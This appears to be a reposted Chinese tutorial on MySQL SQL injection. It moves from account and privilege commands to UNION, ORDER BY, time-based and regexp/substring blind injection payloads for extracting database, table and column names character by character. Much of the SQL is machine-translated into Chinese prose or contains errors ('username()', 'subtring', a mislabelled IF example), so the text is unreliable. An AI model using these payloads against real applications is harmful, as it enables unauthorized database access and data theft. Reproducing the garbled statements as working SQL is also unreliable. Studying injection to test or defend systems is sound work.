SQL注入原理(基本语句/高级查询/高级注入/Mysql账号密码修改) sql注入进阶

SQL注入原理(基本语句/高级查询/高级注入/Mysql账号密码修改) SQL注入 (Structured Query Language lnjection)技术在国外最早出现在1999年,我国在2002年后开始

SQL注入(Structured Query Language Injection)技术最早于1999年在国外出现,2002年后在我国开始大量出现。目前,微软中国技术中心从两个方面描述SQL注入技术:脚本注入SQL 注入是一种攻击类型,其中恶意用户输入用于影响执行的SQL 脚本。 SQL注入是指攻击者将SQL命令注入到Web表单中,以提交或输入域名或页面请求的查询字符串。最终,它允许后台数据库执行恶意操作。 SQL命令的目的是根据程序返回的结果检索攻击者想要的数据。所谓SQL注入是指将恶意SQL命令注入到常规http请求或其他数据库交互参数中,最终操纵数据库服务器执行未经授权的SQL命令的攻击。

在学习SQL注入之前,建议您通过阅读我们之前整理的基本Mysql语句操作和命令,对数据库的基本结构有一定的了解。

执行SQL注入的方法有很多种,本内容将向您介绍其中的一些方法。下面的内容主要是学习和应用高级SQL注入语句。您需要分别了解语句的结构和逻辑功能,并学习如何将它们集成并适应实际应用。不建议背诵。在方法逻辑上,最重要的是看懂所有的代码,了解其原理,最好的办法就是多实践。

首先简单介绍一下Mysql的基本操作。

1.用户创建/密码/权限管理(创建/更改/设置/授予/撤销)

1.用户创建/权限管理

==================================================================================================

# 使用CREATE USER 创建

# 创建用户“用户名”@“主机”,由“密码”标识;

————————————————– ————————————————–

# 使用“%”创建用户以允许来自任何主机的连接

# 创建由“mypassword”标识的用户“newuser”@“%”;

==================================================================================================

2. 修改密码

==================================================================================================

# 使用更改

# 更改用户“用户名”@“主机”,由“新密码”标识;

# 闪现权限;

————————————————– ————————————————–

# 使用SET语句更改密码

# 将密码设置为\’用户名\’@\’主机\’=\’new_password\’.

# 闪现权限;

————————————————– ————————————————–

# 直接在mysql外部更改环境

# mysqadmin -u 用户名-p 旧密码密码新密码

==================================================================================================

3.权限管理(添加/删除/确认)

==================================================================================================

# 检查用户权限

# 显示aplexia@host\\G 的权限。

————————————————– ————————————————–

# 添加权限

# 允许对aplexia@host 执行SELECT、INSERT、DELETE *.* 操作。

————————————————– ————————————————–

# 取消权限

# 从aplexia@host 中取消删除*.*;

==================================================================================================

2.显示Mysql数据库相关信息

4.检查版本号

==================================================================================================

# 选择版本()、当前日期。

==================================================================================================

5.查看日志文件

==================================================================================================

# 显示“%log”等变量。

==================================================================================================

6.查看用户/密码/主机

==================================================================================================

# 从mysql.user中选择用户、密码和主机。

==================================================================================================

3、添加/删除/修改表内外结构(需要掌握基本操作,如果不清楚,请查看之前的文章学习)

7. 添加(创建/插入)

==================================================================================================

# 插入角色(角色ID,角色名) value(\’1\’,\’经理\’);

==================================================================================================

8.删除(删除/删除)

==================================================================================================

# 删除表

# 删除表测试;

————————————————– ————————————————–

# 快速删除表

# 截断文档;

————————————————– ————————————————–

# 从roleid=1的用户中删除;

==================================================================================================

9. 改变(更新/改变)

==================================================================================================

#更改表名

# 修改表old_tablename并重命名new_tablename。

————————————————– ————————————————–

# 改变表结构

# 更改表表名更改名称varchar(20);

# 更改并重命名表tablename。新名称是varchar(20);

# 更改表tablename,并在名称后添加new_word type_word。

————————————————– ————————————————–

# 将所有密码字段更改为123456

# 更新用户设置密码=123456;

# 要更新用户,请设置密码=111。其中角色ID=1;

==================================================================================================

4.查看和过滤数据库/表

10. 检查(显示/说明/选择)

==================================================================================================

#显示表结构

# desc 表名/G;

# 显示所有表

# 显示表格。

————————————————– ————————————————–

# 显示表格内容(限1-2项)

# 从用户限制1、2中选择*;

# 显示表格内容(仅限前5项)

# 从用户限制5中选择*;

# 查询指定字段

# 从table_name中选择word_1、word_2。

# 查询所有数据

# 从表名中选择*;

# 指定条件

# select * from table_name where word_1=option_word;

# 多个条件

# select * from table_name where word_1100;

==================================================================================================

5.如何对数据库进行搜索和排序(order by)

11. 如何订购

==================================================================================================

# 按字段排序

# 从用户订单中选择* by word_1;

# 根据第一个字段排序

# 从用户订单中选择1*;

# 按第二个字段排序

# 从用户订单中选择* with 2;

==================================================================================================

6. 联合查询(union)

12. 联合查询(Union)

==================================================================================================

# 将两个字段数相同的查询语句的结果以“叠在顶部”的方式合并为一个查询结果。

# 从用户中选择角色ID和用户名

– 联盟

– 从角色中选择角色ID和角色名称。

# 两条select语句中查询结果字段个数必须一致。

# 字段类型通常是一致的

# 使用distinct“自动删除重复行”。

# 使用all 允许显示重复行

==================================================================================================

7、要使用高级SQL语句注入,必须掌握以下语句的基本格式和逻辑以及可用的各种功能。

==================================================================================================

# 从用户中选择*,其中roleid=\’1\’;

# select * from user where roleid=\’1\’ or \’1\’=\’1\’ //如果为true,则返回全部。

# select * from user where roleid=\’1\’ or \’1\’=\’2\’ //如果为false,则返回roleid=\’1\’。

# select * from user where roleid=\’1\’ order by 6; 确定SQL语句输出的列数。

# select roleid,username,major from user order by 1 //根据您选择的第一个字段对类别进行排序。

————————————————– ————————————————–

# select database(); //查询当前数据库名称。

# select version(); //查询当前数据库版本信息。

# select user(); //查询当前用户。

# select @@version_compile_os //查询当前主机系统。

==================================================================================================

8. 联合注入(Union)

14. 连接查询来推断字段

==================================================================================================

# select * from user where username=\’222\’ Union select 1,2,3,4,5,6,7; //可以看到总共有7个字段。

==============================================================

15.联合查询数据库信息

==================================================================================================

# 从用户名=\’222\’的用户中选择userid,roleid,username Union select database(),version(),user();

# 从用户名=\’222\’的用户中选择用户ID、角色ID、用户名、密码Union select database(),version(),user(),@@version_compile_os;

==================================================================================================

9. 带有嵌入式条件注入的排序

16.注入顺序

==================================================================================================

# 从用户订单中选择1*;

# 从用户订单中选择* with 2;

# select * from user order by 3 //这个返回值可以用来确定表中的字段数量。

==================================================================================================

17. 使用嵌入条件语句进行排序

==================================================================================================

# 如果1=1为真,则根据名称返回

# 从用户订单中选择* by IF(1=2,roleid,username);

# 如果1=2不成立,则根据用户名返回

# 从用户订单中选择* by IF(1=2,roleid,username);

————————————————– ————————————————–

# 从用户订单中选择* by IFNULL(NULL,roleid);

# 通过IFNULL(NULL,username) 从用户订单中选择*。

————————————————– ————————————————–

# 如果1=1为真,则根据第一个字段返回

# 通过IF(1=1,1,(select 1 Union select 2)) 从用户订单中选择*。

# 如果1=2不成立,则返回(select 1 Union select 2)并返回错误。

# 通过IF(1=2,1,(select 1 Union select 2)) 从用户订单中选择*。

————————————————– ————————————————–

# select * from user order by(select 1 regexp if(1=1,1,0×00)); //返回值

# select * from user order by(select 1 regexp if(1=2,1,0×00)); //返回错误

# select * from user order by(select 1 regexp if(1=1,1,0));

==================================================================================================

10. 基于时间的注入

18. 基于时间的盲注

==================================================================================================

# select * from user order by if(1=1,1,sleep(2)) //1=1为真,返回值1;

# select * from user order by if(1=2,1,sleep(2)); //如果1=2不成立,则执行sleep(2)。此时可以清楚地看到返回延迟。

==================================================================================================

11.Regexp函数(正则表达式)

19.regexp函数(正则表达式应用)

==================================================================================================

# select 1 regexp 1 //如果此时为true,则返回1。

# select 1 regexp 0 //如果此时为false,则返回0。

# select 1 regexp 4 //如果此时为false,则返回0。

# select 1 regexp 5 //如果此时为false,则返回0。

# 可以看到只有两者都为1时才输出1。

==================================================================================================

12. 推断数据

20. 推断数据

============================================================================

======================
# select roleid from user order by(select 1 regexp if(substring(username(),1,1)=\’o\’,1,0×00));
# select roleid from user order by(select 1 regexp if(substring(username(),1,1)=\’e\’,1,0×00));
# select roleid from user order by(select 1 regexp if(substring(username(),1,1)=\’q\’,1,0×00));
# select roleid from user order by(select 1 regexp if(substring(username(),1,1)=\’r\’,1,0×00));
# 对用户名进行分割,从第一位开始取1位对‘o’进行比较,相同则成立,字母暴力猜解,得到用户名
=================================================================================================
十三.获取当前数据库表

21.当前数据库下的所有表
=================================================================================================
# 列举出当前数据库下的第一个表
# select table_name from information_schema.tables where table_schema=database() limit 0,1;
# 列举出当前数据库下的第二个表
# select table_name from information_schema.tables where table_schema=database() limit 0,2;
=================================================================================================
十四.猜解数据库表名

22.猜解数据库表名
=================================================================================================
# select name from user order by (select 1 regexp if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=\’r\’,1,0×00));
# select name from user order by (select 1 regexp if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=\’s\’,1,0×00));
# 重复上面步骤可以同样的方式对数据库名进行暴力破解
# select name from student order by(select 1 regexp if(subtring((select column_name from information_schema.columns where table_schema=database() and table_name=\’student\’ limit 0,1),1,1)=\’i\’,1,0×00));
=================================================================================================
以上内容大家可多加练习慢慢深入,网上也有一些工具可以帮助大家实现自动化SQL注入,burpsuite,Sqlmap等。
#以上关于SQL注入原理(基本语句/高级查询/高级注入/Mysql账号密码修改)的相关内容来源网络仅供参考,相关信息请以官方公告为准!

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/91273.html

(0)
CSDN's avatarCSDN
上一篇 2024年6月21日 下午6:51
下一篇 2024年6月21日 下午6:51

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注